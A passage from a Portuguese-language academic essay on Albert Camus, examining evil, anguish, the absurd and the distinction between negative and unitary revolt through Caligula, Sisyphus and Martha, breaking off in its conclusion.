livre sendo nesta medida inexplicável; culpado, relativamente
ao mal desencadeado pela liberdade. O homem pode fazer o mal
voluntariamente e, nesta medida, é necessário olhar os
homens na sua malícia, nos seus ódios e vontade de
sangue. Não obstante a sua natureza, o homem é também
capaz de fazer o bem, e é a ele que Camus irá remeter
no sentido de corrigir o mundo da história.


A
presença do mal como algo não só anterior à
própria acção, mas também inerente à
natureza humana, terá sido provavelmente uma recuperação,
por parte de Camus, da própria noção de "pecado
original" pertencente à teologia cristã. Segundo
esta concepção, uma falta inicial nas origens do homem
teria tido como consequência o desacordo entre o homem e o
mundo, entre os homens e os seus semelhantes, instaurando um
desequilíbrio no interior de si mesmo. No entanto, Camus
rejeita tal concepção de "falta original", ao
mesmo tempo que rejeita a necessidade da "graça"
para restabelecer a harmonia originária. Todavia, parece-me
inegável que esta concepção religiosa
influenciou consideravelmente todo o seu pensamento., encontrando-se
subjacente à própria filosofia do absurdo, onde o mundo
não é mais do que um estado de "pecado" sem
Deus pois o absurdo que é o estado metafísico do
homem concreto, não conduz a Deus (…) o absurdo é o
pecado sem Deus.
45


A
condição metafísica é colocada sob o
signo da injustiça de Deus que condena o homem ao exílio,
à morte, ao mal e Camus liga o problema da liberdade face ao
mal, ao problema de Deus, como podemos constatar nas seguintes
linhas: Porque, perante Deus, há menos um problema de
liberdade do que um problema do mal. Conhece-se a alternativa: ou não
somos livres e Deus-Todo-O-Poderoso é responsável pelo
mal, ou somos livres e responsáveis e Deus não é
Todo-o-Poderoso. Todas as subtilezas de escolas nada acrescentaram ao
carácter categórico deste paradoxo
46.


Inevitavelmente
estamos perante o mal e a verdade é que não encontramos
ainda a resposta definitiva. O problema inultrapassável foi
desde sempre e ainda o é, o problema do mal.














4- Angústia
e nostalgia





Expulso
do paraíso, o homem reconhece doravante o seu eu
enquanto entidade distinta, fragilizada e indefesa perante os não-eus
já anteriormente referidos e que surgem, justamente, como
inimigos ferozes e hostis. O não-eu físico
revolta o homem em virtude da sua manifesta indiferença e
estranheza. O não-eu metafísico humilha-o cabe
ao homem camusiano lutar pela sua sobrevivência e defender-se
das hostilidades, mas ao tentar fazê-lo descobre não só
a ineficácia das suas armas, como também o quanto
insignificantes são as suas possibilidades! A sua razão
que ele queria infinita não representa quase nada. O estado de
guerra é total tanto no interior de si mesmo, como no seu
exterior: à ameaça do outro junta-se uma outra
proveniente do seu íntimo, a falta de acordo, a não
coincidência. Se o exílio metafísico condenou o
homem ao abandono no mundo, o exílio psicológico vota-o
à solidão e assim, abandono e solidão,
constituem a angústia de um mundo sem autor, a ansiedade numa
sociedade destituída de humanidade. O homem é
abandonado às suas próprias forças perante a
inumanidade do mundo e da história, sem que possa esperar pelo
auxílio de um poder superior.


Toda
a obra de Camus é uma bela ilustração desta
angústia humana nascida em virtude deste estado hostil, como
aliás João nos confia em O Mal-entendido: Eis
que, no mais fundo de mim, recomeça a minha velha angústia,
como um fluído ruim que se agrava a cada movimento meu. Bem
sei do que se trata. É o medo da eterna solidão, o
receio de que não haja uma resposta
47.
Também em O Avesso e o Direito Camus nos diz que o seu
sentimento de fraternidade se afunda no sentimento da solidão
que é constitutivo dessa angústia humana: para não
fugir é preciso recordar que cada um daqueles espectadores tem
uma entrevista consigo mesmo, que o sabe e que, sem dúvida,
irá a ela dentro em pouco. No mesmo instante, ei-lo de novo
fraternal- as solidões reúnem o que a sociedade
separa.
48


São,
pois , a lei da separação e a lei da unidade que estão
na origem do estado de angústia. O sofrimento da separação
é o sofrimento de uma ausência de unidade que é,
no fundo, a própria razão de ser do homem. Precisamente
porque é feito para viver feliz na união, ele sofre com
a separação.


Neste
sentido, a caminhada do homem camusiano é uma longa e árdua
procura da perdida unidade primordial. Na terrível angústia
da separação, o homem sente uma profunda nostalgia de
união que agrava consideravelmente o seu sofrimento. A
angústia e a nostalgia afirmam-se doravante sentimentos
inseparáveis: separação e comunhão. Todo
o problema da felicidade se joga nesta antítese. Quanto mais a
dor se afirma insuportável, maior é a aspiração
à libertação e mais esta se afigura urgente.


Em
O Mito de Sísifo, onde a separação
aparece como um mal ou absurdo supremo, a unidade deseja-se como bem
absoluto, pois se o homem reconhecesse que o universo também
pode amar e sofrer, reconciliar-se-ia com ele. Se o pensamento
descobrisse, em espelhos cambiantes, fenómenos, relações
eternas que pudessem resumi-los e resumir-se a si próprias num
princípio único, poder-se-ia falar de uma felicidade do
espírito ao pé da qual o mito dos bem-aventurados não
mais seria do que uma ridícula falsificação.
Essa nostalgia de unidade, esse apetite de absoluto, ilustra o
movimento essencial do drama humano
49.
A nostalgia de união não é algo de efémero,
de passageiro, mas algo de fundamental respeitante à própria
vida e à própria morte do homem.


Qualquer
ser consciente aspira, de facto, mesmo que o ignore, à unidade
e sob diversas formas: desde a criação artística
de todos os géneros, ao amor, aos actos revolucionários,
religiosos e até criminais.


Perante
a angústia e a nostalgia, perante um tal estado de coisas que
constituem um longo sofrimento, impõe-se ao homem uma
necessidade vital que é a de sair dessa prisão a todo o
custo.








5- A solução
do problema: A Revolta





Tiro
assim do absurdo três consequências que são a
minha revolta, a minha liberdade e a minha paixão.
50


A
revolta é o protesto , a obstinação, a recusa, o
confronto. Face ao absurdo uma das posições
filosóficas coerentes é a revolta. Ela é o
confronto perpétuo do homem e da sua própria
absurdidade É a exigência de uma impossível
transparência. Equaciona o problema do mundo (…) é a
presença constante do homem em si próprio. Não é
a aspiração, pois é sem esperança. Esta
revolta não passa da certeza de um destino esmagador, mas sem
a resignação que deveria acompanhá-la.
51


A
revolta exige uma lucidez sem tréguas: manter a clarividência
e o conhecimento dos muros que cercam o homem: a tenacidade e a
clarividência são espectadores privilegiados nesse jogo
desumano em que o absurdo, a esperança e a morte travam o seu
diálogo
.52
É necessária uma constante ascese para que seja
possível ao homem manter-se no absurdo uma vez reconhecido
este. A revolta não altera a natureza do absurdo, confere-lhe
sim, uma maior agudeza pela intrínseca gratuitidade que
proclama. No domínio da total inocência que é a
sua, o herói absurdo reivindica a responsabilidade de manter
uma lucidez sem tréguas.


O
impacto do absurdo confunde-se com a descoberta de uma nova
liberdade. O absurdo depressa de erige numa verdadeira aposta
individual: a mais total das liberdades. É o pressentimento da
morte que dá à liberdade camusiana todo o seu
significado excepcional. Para o homem absurdo , jamais separado da
morte, esta afirma-se o seu espanto ao mesmo tempo que a sua paixão
nocturna. É ela que marca o limite do seu conhecimento e o
homem refugia-se na liberdade que lhe surge como a primeira ou a mais
essencial das reivindicações. Anteriormente (antes do
despertar da consciência) o homem vivia quotidianamente com os
seus objectos, com o futuro e agia como se fosse realmente livre, mas
descoberto o absurdo tudo muda uma vez que o homem compreende que
até aqui estava ligado a este postulado de liberdade e que
vivia nessa ilusão. Isso constrangia-o, em certo sentido. Na
medida em que imaginava uma finalidade para a sua vida, conformava-se
com as exigências de uma finalidade a alcançar e
tornava-se escravo da sua liberdade
53.
Esta liberdade para o homem absurdo surge fora de Deus, caso
contrário não mais seria do que uma sujeição
pois não posso compreender o que pode ser uma liberdade que
me seria dada por um ser superior
54.


A
liberdade não se exerce em função de uma vida
eterna, mas permanece como campo de exercício na vida
presente, no tempo presente. O homem gozará então, a
disponibilidade do condenado à morte: esse incrível
desinteresse perante tudo, salvo a chama pura da vida, a morte e o
absurdo são aqui, bem o sentimos, os princípios da
única liberdade razoável: a que um coração
humano pode sentir e viver.


Se
bem que se trate de uma liberdade fora de Deus tem, contudo, os seus
limites já que o absurdo não liberta, amarra. Não
autoriza todos os actos. Esse "tudo é permitido" não
significa que coisa alguma seja proibida. O absurdo dá somente
a sua equivalência às consequências dos actos. Não
recomenda o crime, isso seria pueril, mas restitui ao remorso a sua
inutilidade
55.


Uma
outra consequência da filosofia do absurdo é a paixão,
o ardor de viver: Mas que significa a vida em tal universo? De
momento nada mais do que a indiferença pelo futuro e a paixão
de esgotar tudo o que nos é dado
56.
Esta paixão é também viver sem o apelo a Deus,
ou seja, o homem absurdo não deve fazer intervir o que é
tão incerto como o eterno, vivendo apenas com o que é
verificável. E então, afastado do eterno, o homem
mergulhará no tempo: O que é com efeito o homem
absurdo? Aquele que, sem o negar, nada faz pelo eterno. Não
que a nostalgia lhe seja estranha. Mas prefere-lhe a coragem e o seu
raciocínio. A primeira ensina-o a viver sem apelo e a
bastar-se com aquilo que tem , a segunda instrui-o acerca dos seus
limites e assim o presente é a sucessão dos presentes
perante uma alma sempre consciente, é o ideal do homem
absurdo
57.
Neste sentido, a paixão implica viver quantitativamente, ou
seja, a ética do absurdo não é uma ética
da qualidade, mas uma ética da quantidade. Se me persuado
de que esta vida não tem outra face que não seja a do
absurdo, se sinto que todo o seu equilíbrio depende dessa
perpétua oposição entre a minha revolta
consciente e a obscuridade onde ela se debate, se admito que a minha
liberdade não tem sentido a não ser em relação
ao seu destino limitado, então devo dizer que o que conta não
é viver melhor, mas viver mais
.58





-A
revolta Negativa-





Todos
os heróis de Camus se revoltam: Calígula contra o
destino, os deuses e a morte; Sísifo, contra o absurdo;
Mersault, contra os outros; Martha, contra a própria injustiça
da condição humana. Se bem que todos estes heróis
se revoltem, a revolta não é sempre feita da mesma
maneira: a revolta de O Mito de Sísifo, por exemplo,
não é a mesma de O Homem Revoltado; enquanto que
esta última visa encontrar a união, a fraternidade, a
primeira visa fazer da reinar a diversidade e consequentemente a
separação. Em O Homem Revoltado, há
um valor eterno pelo qual tudo vale, enquanto que no Mito de
Sísifo
, a revolta é "para nada": (…)
revolta tenaz contra a condição, a perseverança
num esforço tido por estéril (…) constitui uma ascese
(…) tudo isto para nada, para repetir e espezinhar.
59


Se
bem que seja uma revolta contra a angústia da separação
a revolta é, simultaneamente, uma revolta para e contra a
própria separação. Como exemplo desta revolta
temos Calígula, Sísifo e Martha.


Calígula
vai-se insurgir contra a condição humana perante a
morte da sua irmã e amante Drusilla afirmando que as
coisas, tal como são, não me parecem
satisfatórias…até há pouco tempo, eu não
sabia. Agora sei. Este mundo, tal como está feito, não
é suportável. Tenho, portanto, necessidade da lua, ou
da felicidade, ou da imortalidade, de qualquer coisa de demente, mas
que não seja deste mundo.
60


A
vida é, desta feita, governada pela morte absurda e o homem,
esse, é obrigado a viver nessa separação, embora
o seu desejo seja o de união e amor. E, precisamente, porque a
vida obriga Calígula a isto, ele decide permanecer em "pé
de igualdade", pagando na mesma moeda: compreendi
simplesmente que só há uma maneira de nos igualarmos
aos deuses: é tornarmo-nos tão cruéis como
eles…se exerço este poder é por compensação
(…) à estupidez e ódio dos deuses
.61
Calígula vai manter este estado de separação não
apenas por uma questão de vingança, mas também
por uma questão de "pedagogia", isto é, para
mostrar aos seus concidadãos a verdadeira condição
insuportável em que vivem, no sentido de os fazer olhar de
frente: E justamente, tenho meios para os obrigar a viver na
verdade, porque eu sei o que lhes falta (…) eles estão
privados de conhecimento, porque lhes falta um professor que conheça
aquilo que ensina.
62


Na
sua missão de pedagogo, Calígula vai mostrar aos seus
concidadãos o estado de separação que
caracteriza toda a condição humana sob as formas em que
aquele se apresenta; exílios psicológico, social e
metafísico.


No
sentido de mostrar aos seus concidadãos o carácter de
não coincidência, de duplicidade inerente ao próprio
eu, chama todos os presentes no palácio e manda-os
aproximarem-se de um espelho, dizendo de forma algo extravagante:
Venham todos. Aproximai-vos. Ordeno que se aproximem. É um
imperador que o exige. E agora chega-te para o meu lado Cesónia
(agarra-a pela mão, condu-la até junto do espelho e,
com o macete apaga freneticamente uma imagem sobre a superfície
polida. Ri.). Acabou-se, vês…mais nada. Acabaram-se as
recordações, desapareceram todos os rostos. Acabou-se.
E, sabes o que ficou? Aproxima-te mais. Olha. Aproximem-se. Olhem.
(Diante do espelho porta-se de forma demente). Cesónia
(olhando o espelho aterrorizada): Calígula! (E Calígula
muda de tom, pousa um dedo sobre o espelho e com um olhar fixo, diz
numa voz triunfante): Calígula.
63


Seguidamente
Calígula vai ilustrar essa outra oposição
que é a do eu e do outro, escolhendo como modelo
a relação senhor/ escravo (talvez a mais autêntica
e antagónica) instituindo-se senhor absoluto e transformando
patrícios e senadores em seus escravos. Serve-se da sua
vontade de poder e condena à morte, toma as mulheres dos seus
concidadãos e obriga estes a rir sem razão, ou pior
ainda, a rir de razões que os deveriam fazer chorar: Não
ris? (pergunta a Lépido a quem havia morto um filho). Ninguém
ri? Então ouçam (tomado de violenta cólera).
Quero ver toda a gente a rir. E tu também Lépido. E
todos os outros. Levantem-se, riam (dando murros na mesa). Eu quero,
ouvem, quero ver-vos rir…não, mas olha-os Cesónia,
tudo se desmorona. Honestidade, respeitabilidade, tudo desaparece
diante do medo
64.E
concluindo acerca destas relações sociais afirma que
apesar de tudo, não tenho muitas maneiras de provar que sou
livre.
65


Com
o intuito de mostrar a oposição do eu aos deuses e ao
destino, Calígula obriga Cesónia a Helicon a recitarem
preces ridículas e incompreensíveis em tom de parada,
no sentido de revoltar todos aqueles que as recitem: Aproximem-se!
Aproximem-se! (recita Helicon em voz de parada). Os deuses desceram à
Terra uma vez mais. Caius-César e Deus- denominado Calígula
emprestou-lhes a forma humana. Aproximem-se grosseiros mortais,
tendes diante dos olhos o milagre sagrado. Por especial deferência
divina do reino abençoado de Calígula, são
oferecidos os segredos divinos a todos os olhos…
66


A
última lição de Calígula tem por tema a
morte Reúne todos os poetas para que estes organizem um
concurso de poesia cujo tema será, justamente, a morte. No
sentido de melhor os humilhar e revoltar, obriga-os a marcharem em
fila e a trazerem penduradas tabuletas onde deverão escrever
as suas composições. Mas é sobretudo na sua
solidão, ou na intimidade com alguns amigos, que Calígula
reconhece de forma mais sincera e profunda o ódio votado aos
deuses, ao destino e à morte: Calígula! Tu também
és culpado…(angustiado, comprimindo-se contra o espelho).
Bem vês: Helicon não veio. Não terei a Lua… se
tivesse tido a lua se o amor fosse suficiente, tudo estava
modificado. Mas onde ir saciar esta sede?…sei, e tu sabe-lo também.
(estende a mão para o espelho, chorando), que bastaria existir
o impossível! Procurei-o nos limites do mundo, nos confins

de mim mesmo…estendo as minhas mãos…e é a ti que
encontro, sempre a ti, diante de mim sempre cheio de ódio(…).
67


Mas
quer em público, quer em privado, a vontade de Calígula
é sempre a de levar até ao fim o conflito, de ser
consequente. Na ausência de uma felicidade unitária,
Calígula pretende encontrar um "felicidade demente".
Mas uma vez que a revolta negativa é, também, uma
revolta contra a separação, e abolir a separação
pela separação implica o homicídio e a
destruição, após ter morto os senadores,
Calígula estrangula Cesónia, sua fiel amante e deixa
partir o seu melhor amigo, Cipião, acabando no fim por se
auto-destruir. Calígula morre, mas não o problema que
ele encerra, já que este é inerente à própria
condição humana, marcada pelo conflito, e à
consciência do eu e do não-eu


Apesar
de tudo, apesar da destruição, Calígula diz-nos
que a morte não é a solução, ou se o é,
trata-se de uma solução niilista, já que a
separação não é destruída, mas
antes perpetuada. Matando os outros para deles se desembaraçar,
ou suicidando-se para apagar a sua consciência, Calígula
só encontrou o Nada, jamais a unidade que procurava.


Calígula
morre, mas deixa a sua herança a Sísifo. Como revoltado
metafísico e separatista, Sísifo é herdeiro de
Calígula ainda que altere o objectivo e a táctica da
revolta, ao transformar a derrota de Calígula numa vitória.
Os gritos de desespero do jovem imperador são transformados,
por Sísifo, em gritos de alegria, ou seja, o mundo absurdo tem
como suporte uma espécie de felicidade metafísica: Não
descobrimos o absurdo sem nos sentirmos tentados a escrever um manual
qualquer de feliciade.
68


Se
Calígula fracassou foi porque pretendia "qualquer coisa
que não fosse deste mundo", algo que transcendesse e
assim unificasse a pluralidade do mundo fenoménico, mas Sísifo
sabe que é impossível obter "qualquer coisa que
não seja deste mundo" e, neste sentido, a sua ética
é outra, isto é, o que interessa não é a
unidade, mas a própria quantidade, a diversidade. Calígula,
porque pretendia a unidade, viu-se na necessidade de abolir as
contradições, enquanto que Sísifo pretende, pelo
contrário, mantê-las enquanto tal. O objectivo da
revolta é, agora, totalmente temporal e terrestre: O que é
com efeito o homem absurdo? Aquele que, sem o negar, nada faz pelo
eterno
69.
No sentido de excluir a unidade, tão desejada por Calígula,
Sísifo começa desde logo por recusar os métodos
de Calígula, ou seja, a morte e a loucura dizendo que a
loucura e a morte são os seus irremediáveis…pelo jogo
da consciência, transforma em regra de vida aquilo que era
convite à morte- e recusa o suicídio (…) digamos que
o único obstáculo, o único impossível de
ganhar é constituído pela morte prematura. O universo
aqui sugerido só vive por oposição a essa
constante excepção que é a morte
70,
e emprega um outro tipo de métodos, digamos que "positivos",
substituindo o eterno pelo temporal, a unidade pela totalidade,
multiplicando tudo aquilo que não pode unificar. A crença
no sentido da vida pressupõe sempre uma escala de valores, uma
escolha, as nossas preferências. A crença no absurdo,
segundo as nossas definições, ensina o contrário.
71


Os
modelos que Sísifo nos propõe como heróis da sua
moral quantitativa são Don Juan, o comediante ou actor, o
conquistador, o viajante e o criador absurdo. Don Juan, por exemplo
escolheu não ser nada (…) o homem absurdo multiplica o
que não pode unificar. Assim, descobre nova maneira de ser que
pelo menos liberta tanto quanto liberta os que dele se
aproximam…são todos esses rostos e todos esses nascimentos
que compõem para Don Juan, a girândola da sua vida
72.
O comediante, esse, aplica-se de todo o coração
a não
ser nada ou a ser vários (…) o actor tem
da personagem absurda (…) a monotonia, essa silhueta única e
obsessiva, ao mesmo tempo estranha e familiar(…)
e confunde-se
com a outra personagem absurda que é o viajante. Tal como
este, ele esgota alguma coisa, percorre sem cessar. É o
viajante do tempo e, pensando melhor, o aflito viajante das almas
.73
Para o criador absurdo o essencial é que triunfem (as
imagens das suas obras) no concreto e que seja essa a sua grandeza
(…) todos os pensamentos que renunciam à unidade exaltam a
diversidade. E a diversidade é o lugar da arte.
74


Qualquer
um dos modelos apresentados por Sísifo pretende esgotar todos
os números e todas as quantidades e esgotar-se a si próprio:
Que significa a vida em tal universo?(…) O homem absurdo tem de
esgotar tudo e esgotar-se(…)escolho somente os homens que apenas
procuram esgotar-se ou dos quais eu tenha, por eles, consciência
de que se esgotam.
75


Trata-se
de bater recordes e de ganhar a moral quantitativa. O campeão
absurdo não precisa de unidade nem de amor. Toda a sua vida se
resume a uma batalha que é preciso ganhar a todo o custo.
Todas as suas relações com o mundo são, neste
sentido, conflituosas.


Calígula
não encontrou a felicidade porque lhe foi impossível
realizar a unidade desejada, condição essencial. Sísifo
tem de se contentar com a ausência da mesma, ou com uma
"unidade múltipla" acabando por se declarar, no fim,
feliz e é a imaginá-lo feliz que Camus nos convida a
olhar para Sísifo. Mas nós sabemos que Sísifo
não é feliz nem pode sê-lo. Uma tão grande
insistência, tanto da parte de Calígula como de Sísifo
numa felicidade separatista, não é mais do que sinónimo
da ausência total de felicidade. Ninguém consegue viver
eternamente na aceitação da separação e
talvez por isso Camus tenha pretendido mostrar o herói da
revolta negativa sob a forma de um herói mítico e não,
sob a forma de um ser humano- Sísifo vive amargurado porque
este inferno presente é, enfim, o seu reino.76


Não
só a felicidade de Sísifo é impossível,
como também a sua filosofia, porque está para além
das forças humanas e neste sentido Sísifo é
inferior a Calígula já que este, apesar de tudo,
realizou a sua teoria. Sísifo, esse, ficou-se pela teoria.


Calígula
foi de uma lógica irreparável até ao fim;
ensinou a revolta negativa e, simultaneamente, a destruição
e a morte. Sísifo quis ensinar essa mesma revolta, mas
recusando os meios de Calígula, pois não sabia que para
bater todos os recordes e ganhar a tal moral quantitativa é
preciso destruir os outros. Sísifo só é, de
facto, heróico porque não acedeu à tentação
de desistir.


Martha
vai mostrar em O Mal-entendido que para ganhar a moral
quantitativa é preciso destruir os outros. Como para Sísifo,
também para Martha o mundo não pode ser unificado, ele
é um perpétuo mael-entendido e é pensando nestes
termos que Martha diz a Maria: (…) não posso morrer
deixando-a com a ideia de que tem razão, de que o amor não
é inútil e de que tudo isto foi um acidente. É
agora que tudo está em ordem (…) nem na vida nem na morte
existe pátria ou paz, porque não se pode chamar pátria
a esta terra estreita, privada de luz onde damos de comer a animais
cegos.
77


Martha
à semelhança de Sísifo, multiplica o que não
pode unificar, ou seja, "desembaraça-se" dos outros
para amontoar o dinheiro suficiente de que precisa para ter os seus
prazeres, ganhando deste modo a sua moral quantitativa. Para se
manter fiel à sua teoria, Martha não pode amar ninguém
à excepção dela própria, ou da sua
felicidade e tanto assim é que perante o cadáver do seu
irmão, não se arrepende de o ter morto, mas apenas
lamenta ter perdido a sua felicidade: Não! Não me
competia velar pelo meu irmão e, no entanto, eis-me exilada no
meu próprio país (…)mas não me competia velar
pelo meu irmão, e aí é que está a
injustiça feita à inocência. Ele acaba de
conseguir o que desejava,. Ao passo que eu fico sozinha, longe do mar
porque ansiava. Odeio-o!
78


Tendo
apenas como objecto do seu amor o seu próprio eu,
Martha tem de odiar a sua mães (o não-eu social)
e Deus (o não-eu metafísico) e é esse
ódio que brota dede ntro de si, quando dirigindo-se à
sua mãe exclama: Que ele morra, pois, visto que não
sou nada! Que as portas se fechem à volta de mim! Que me
deixem entregue à minha cólera justa…oh! como odeio
este mundo em que estamos reduzidos a Deus! Mas eu, eu que sofro de
injustiça, eu que não tive aquilo a que tinha direito-
não me ajoelharei! Privada do meu lugar sobre a Terra,
repudiada por minha mãe, sozinha no meio dos meus crimes,
deixarei este mundo sem me ter reconciliado
79.
Como discípula de Sísifo, Martha pretende viver sem
apelo, na separação, opondo-se desta forma a João
cuja posição é a da unidade, procurando o amor e
a reconciliação. Assim, quando João lhe fala de
amizade, de afeição, Martha diz-lhe que: não
tem de se preocupar com a nossa solidão (…) mantenha-se no
seu lugar de cliente(…) mas não exija mais (…) porque só
temos vantagem, ambos, em manter as nossas distâncias (…) o
coração não é para aqui chamado(…)
longos anos cinzentos passaram sobre este pequeno ponto (…) e pouco
a pouco arrefeceram esta casa levando com eles todo o nosso grito de
simpatia…
80


Trata-se
de duas atitudes fundamentalmente diferentes perante a vida: a do
amor e a do ódio. O Mal-entendido termina com a vitória
moral de João sobre Martha, ou seja, a mães que sempre
esteve do lado de Martha, suicida-se para se juntar ao filho. E
quanto a Martha, esta acaba por confessar que não pode viver
na solidão, pois no mínimo precisa do amor de sua mãe
e que a felicidade não pode ser encontrada na separação,
como acaba por confessar a Maria: Como ele, eu pensava ter a minha
casa. Imaginava que o crime era o nosso lar e que nos tinha unido, a
minha mãe e a mim, e para sempre. E para quem no mundo poderia
voltar-me a não ser para aquela que matara ao mesmo tempo que
eu? Mas estava enganada- o crime também é uma solidão
mesmo que sejam muitos a cometê-lo. E é justo que eu
morra só, depois de ter vivido e matado sozinha
.81
Como podemos constatar, Martha tal como Calígula, levou até
ao fim a sua filosofia, sabendo que depois de ter morto é
preciso que morra também e antes de morrer propõe a
Maria uma solução para reencontrar um certo tipo de
unidade e felicidade: Peça ao seu Deus que a faça
semelhante à pedra. É a felicidade que ele toma para
si, a única felicidade verdadeira. Faça como ele,
torne-se surda a todos os gritos, regresse à pedra enquanto é
tempo. Mas se se sente demasiado cobarde para entrar nessa paz
obscura, então venha juntar-se a nós, na nossa casa
comum. Adeus minha irmã! Tudo é fácil, como vê.
Terá de escolher entre a estúpida felicidade das pedras
e o leito escorregadio em que a esperamos.
82


Se
bem que Martha empregue os mesmos métodos de Calígula-
destruição/ assassínio/ loucura- há que
estabelecer diferenças: para Calígula, a loucura tinha
na sua origem a ausência do mar ou de uma felicidade terrestre
e aqui, Martha segue os princípios da filosofia absurda de
Sísifo. Martha é Sísifo e Calígula
simultaneamente, e prova melhor do que ninguém, que o que está
no fim da revolta negativa é o Nada.





– A
revolta unitária-





Chegados
ao nada pela via da revolta negativa, resta-nos imprimir uma nova
direcção à revolta que possa conduzir a um
sentido. Para ser, o homem deve revoltar-se, mas a sua revolta
deve respeitar o limite que nela própria descobre, limite em
que os homens, unindo-se, começam verdadeiramente a ser
83.
Mas como podem os homens se juntar e não mais se separar, se
pela via da revolta negativa o homem camusiano fez "tábua
rasa" dos valores comuns e destruiu tudo aquilo que poderia
permitir o reencontro humano? Para que seja possível uma nova
direcção para a revolta, Camus segue o exemplo de
Descartes, afirmando que o absurdo tal como a dúvida
metódica pode, mudando de atitude, orientar uma nova busca. O
raciocínio desenvolve-se então da mesma forma. Eu grito
que não creio em coisa alguma e que tudo é absurdo, mas
não posso duvidar do meu grito e tenho pelo menos de crer no
meu protesto
.84
Camus tira da revolta a existência de um primeiro valor
positivo: A revolta nasce do espectáculo de insensatez,
perante uma condição injusta e incompreensível.
Mas o seu impulso de cega reivindica a ordem no meio do caos e a
unidade mesmo no âmago daquilo que foge e se desvanece. Ela
grita, ela exige, ela quer que o escândalo cesse e se fixe
finalmente
85.


Mas
o que é um homem revoltado? É um homem que diz "não"
(mas ao recusar não renuncia) e também um homem que diz
"sim" a partir do seu primeiro movimento. Dizer "não"
significa que "algo dura há muito", que "até
certo ponto sim, a partir de certo ponto não", ou seja,
afirma-se a existência de uma fronteira, ao mesmo tempo que se
afirma o que está do lado de cá da fronteira.
Demonstra-se que existe algo que vale a pena e que tem de ser tido em
conta. A negação não é mais do que a
comprovação de um limite além do qual não
é possível passar, dizer "sim" é
afirmar a existência de um valor, de uma parte á qual o
revoltado adere. Este valor transforma-se para o revoltado num bem
supremo.


Camus
para melhor ilustrar o movimento da revolta, serve-se do quadro
hegeliano da dialéctica senhor/escravo: durante muito tempo o
escravo aceita tudo, obedece ao senhor, mas pouco a pouco vai-se
instalando a impaciência e com ela nasce um sentimento, um
valor pelo qual vale a pena viver e dar a vida ,inclusivamente, se
for necessário. Este valor transforma-se num bem supremo: é
o tudo ou nada- a vertigem da revolta. Este "tudo ou nada"
significa que o escravo se sacrifica por um bem que ultrapassa e seu
próprio destino. O fundamento desse valor é a própria
revolta. A solidariedade dos homens baseia-se no movimento da
revolta
86,
ou seja, a revolta desemboca na solidariedade porque os homens têm
uma natureza comum que é preciso respeitar.


O
valor descoberto no acto da revolta não é individual,
mas identifica-se com o ser que é universal, constituindo-se
assim como instância universal: No seu protesto contra a
contradição, no que ela possui de imperfeito devido à
morte e no que oferece de disperso por obra do mal, a revolta
metafísica é a reivindicação motivada de
uma unidade feliz contra a dor de viver e de morrer
87.
O valor pluraliza: A revolta metafísica é o
movimento pelo qual um homem insurge contra a sua condição
e contra a criação inteira
.88
Ela recusa a condição no que esta tem de inacabado pela
morte e de inaceitável em virtude da obscuridade do sofrimento
e da morte. Aos olhos do revoltado, esta provém de um
princípio de injustiça que se confunde com Deus e, por
isso, se ergue contra a criação e o criador, o que não
significa que se esteja necessariamente face a um movimento ateu, mas
apenas face a um movimento blasfemador, pois Deus é o
responsável pela infelicidade humana.


Eis-nos
assim no termo da busca que havia começado com O Mito de
Sísifo
. Se bem que a revolta não tire o homem do
seu desamparo permite, ao menos, antever a existência de um
vínculo, de uma "cumplicidade". Neste ponto Camus
afasta-se, evidentemente, de Sartre e de Marcel, uma vez que o
universo destes é um universo individualista. Os homens
torturam-se entre si. A relação positiva, para Sartre,
encobre uma atitude de possessão ou de coisificação
do outro. Em Camus, o acto da revolta descobre a própria
solidariedade humana.


Camus
não deve, neste sentido, ser confundido com os
existencialistas. Para estes, e de uma forma geral, falta ao homem a
essência, o seu ser não está constituído,
daí a necessidade de um tipo de acção que tenda
à realização de uma existência que, no
começo, apenas existe como mera possibilidade. O
existencialista parte do pressuposto de que o homem conta, por um
lado, com lucidez suficiente para construir a personagem que escolhe
ou projecta ser e, por outro lado, com uma situação
suficientemente cómoda de forma a estar em condições
de se decidir por uma determinada maneira de viver. O mesmo se passa
no plano da moralidade: o existencialista analisa a situação
pessoal de um homem face ao seu destino, descreve o drama cuja única
personagem é ele próprio, face à possibilidade
de escolha entre o estado de coisa ou levar a cabo uma vida plena de
iniciativas e responsável. Para Camus, o outro assume
papéis decisivos. O outro é, por um lado, o
agente da opressão e da degradação e, por outro,
a revolta só se justifica quando o indivíduo se
transcende nos outros indivíduos. O revoltado não
escolhe, à maneira do existencialista, entre projectos ou
entre a autenticidade e a inautenticidade. Trata-se, desde logo, de
ser ou não ser, do tudo ou nada e da fidelidade ao que se
descobriu, daí que seja necessário estabelecer
diferenças entre a revolta e a revolução. O
revolucionário não parte do ser que a própria
revolta descobriu, revelou, .as de uma ideia abstracta; não
parte da própria experiência humana, mas de um projecto
despótico e totalitário, afastando-se do presente
imediato, da realidade de onde partiu, remetendo a felicidade para um
futuro utópico. O revoltado, pelo contrário, pretende
ajustar a sua conduta à origem de onde partiu. O homem aparece
sempre um ser dividido; se a revolta mostra que o homem é, no
geral, injusto com os seus semelhantes, revela igualmente que nele há
algo que aspira à unidade de todos, que exige que se leve a
cabo uma solidariedade metafísica.


A
revolução acaba por ser uma traição à
revolta ,já que nega o ser e a natureza humana; a sua
reivindicação é a totalidade, ao passo que a
reivindicação da revolta é a unidade.


A
exigência universal de unidade é o fundamento da revolta
unitária, que mais não é do que a exigência
de amor. Em todos os movimentos de revolta, a reivindicação
de unidade confunde-se com a reivindicação do amor. O
drama de Karamazov (…) nasce do facto de haver demasiado amor sem
objectivo. Quando se nega Deus, este amor deixa de ter em que se
empregar, recai então, em nome de uma generosidade humana,
sobre o ente humano.
89


O
amor que é descoberto pelo homem camusiano no próprio
coração da revolta, não é apenas o amor
para com os homens, uma vez que o estado de separação é
generalizado e assim extensível ao céu, à
terra e a ele mesmo. Neste sentido, o homem tem necessidade de
uma união universal com toda a existência para encontrar
a felicidade de viver e de morrer. O primeiro passo da revolta
unitária é, justamente, procurar uma certa forma de
amor para que a partir daí seja possível a sua
realização. Aos olhos do homem camusiano, a procura do
amor perfeito afigura-se fundamental. A felicidade encontra-se, não
no acto de negar, mas sim no acto de amar.








6- Conclusão





É
difícil escrever sobre o próprio rosto. Percorrendo
atentamente as páginas de Camus, é quase impossível
não nos identificarmos com as suas personagens: hoje ou ontem,
nós somos ou fomos, de uma forma ou de outra, um pouco de
Martha, Sísifo, Mersault, Clemance e todas as outras
personagens, porque acima de tudo elas encarnam o drama
fundamentalmente humano que é a questão do (não)
sentido. Talvez por este facto Camus ultrapasse em muito a relação
